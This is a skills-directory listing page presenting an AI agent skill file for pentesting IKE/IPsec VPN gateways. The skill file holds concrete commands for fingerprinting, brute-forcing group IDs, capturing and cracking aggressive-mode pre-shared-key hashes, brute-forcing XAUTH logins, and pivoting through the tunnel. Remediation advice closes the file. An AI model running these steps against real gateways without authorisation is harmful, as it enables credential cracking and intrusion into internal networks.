Skip to content
Back to skills

Ike Ipsec Vpn

ASecurity

IKE/IPsec VPN (500/4500 udp) pentesting — fingerprint with ike-scan, brute transform sets and group IDs, capture an aggressive-mode PSK hash for offline cracking, and XAUTH brute. Tier 1. Use when UDP 500/4500 is open on a VPN gateway.

  • 16 stars
  • 0 votes
  • 0 copies
  • 3 views
  • Added November 17, 2026
securitytestingbackend

Works with

  • cli

Security analysis

A100/100

Scanned November 17, 2026

npx -y skills add AnandJogawade/Zazy-Pentest-Plugin-for-Claude --skill ike-ipsec-vpn --agent claude-code

Installs into .claude/skills of the current project.

Are you the author of Ike Ipsec Vpn?

Add the live security badge to your README. It updates with every re-scan.

Security grade badge for Ike Ipsec Vpn
[![Security: A — Skills Directory](https://www.skillsdirectory.com/api/skills/anandjogawade-ike-ipsec-vpn/badge)](https://www.skillsdirectory.com/skills/anandjogawade-ike-ipsec-vpn)

More formats (shields.io, HTML) on the badges page. Keep it an A: scan every change in CI with Pro.

Download with Pro
SKILL.md
---
name: ike-ipsec-vpn
description: IKE/IPsec VPN (500/4500 udp) pentesting — fingerprint with ike-scan, brute transform sets and group IDs, capture an aggressive-mode PSK hash for offline cracking, and XAUTH brute. Tier 1. Use when UDP 500/4500 is open on a VPN gateway.
---

# IKE / IPsec VPN Pentest

IKE aggressive mode leaks a crackable PSK hash to any unauthenticated requester — the classic high-impact VPN finding. Fingerprint the gateway, brute transforms/group IDs, then capture and crack the PSK.

## Trigger phrases
`ike, ipsec, vpn, 500, 4500, ike-scan, aggressive mode, psk crack, ikeforce, group id, xauth`

## Method
1. **Confirm + fingerprint:** `nmap -sU -p500 <IP>`; `ike-scan -M <IP>`; vendor guess via `ike-scan -M --showbackoff <IP>`.
2. **Transform brute (main mode):** build a `--trans=Enc,Hash,Auth,DH` dictionary and loop until the gateway accepts one (confirms supported crypto). Example: `ike-scan -M --trans=5,2,1,2 <IP>`.
3. **[Aggressive-mode PSK capture]** `ike-scan -M -A -n <groupID> --pskcrack=psk.txt <IP>` → offline crack `psk-crack -d wordlist psk.txt`, or `ikescan2john.py psk.txt > hash; hashcat -m 5300 hash wordlist`. Aggressive mode sends the PSK hash to an unauthenticated requester — that's the bug.
4. **Group-ID brute:** `ike-scan -M -A -n <id> <IP>` across SecLists `ike-groupid.txt`; or `ikeforce.py <IP> -e -w groupnames.dic`.
5. **[XAUTH brute]** with a known group+PSK: `ikeforce.py <IP> -b -i <gid> -u <user> -k <PSK> -w passlist`.
6. **Connect:** build `/etc/vpnc/<profile>.conf` (gateway, ID, secret, Xauth user/pass) → `vpnc <profile>`.

## Modern / rare techniques
- **IKEv1 aggressive mode is the key target** — IKEv2/main mode don't leak the PSK the same way; always test aggressive mode explicitly (`-A`).
- **Cracked PSK + XAUTH creds → full tunnel** into the internal network → immediate pivot.
- **Edge-appliance CVEs:** fingerprint the VPN vendor (Cisco/Fortinet/Palo/Ivanti) and map to current pre-auth advisories.

## Escalation / chaining
Cracked PSK (+XAUTH) → established VPN tunnel → internal network access → network-attacks/discovery, then pivoting from the tunnel; reused PSK/creds → password-spraying.

## Backend & tooling
Operator Kali/WSL or HexStrike — ike-scan/ikeforce/vpnc need raw UDP sockets and are unavailable from the agent container.

## Verification (background, before reporting)
Confirm aggressive mode is actually enabled (handshake returns the PSK payload) before claiming the finding; validate the cracked PSK by establishing (or getting a clean XAUTH prompt on) the tunnel; re-run the capture once.

## Evidence
ike-scan fingerprint/backoff, captured PSK hash + crack result, successful tunnel or XAUTH acceptance, impact. Remediation: disable aggressive mode, use certificates not PSK, strong unique PSK, IKEv2, restrict IKE to known peers.

Attribution

Is this your skill, or is something wrong with this listing? Request removal or report an issue. Author removals are honored within 72 hours.

View all in security →

Comments

Loading comments…

Newsletter

Get the weekly list of safe new skills, and the ones we pulled.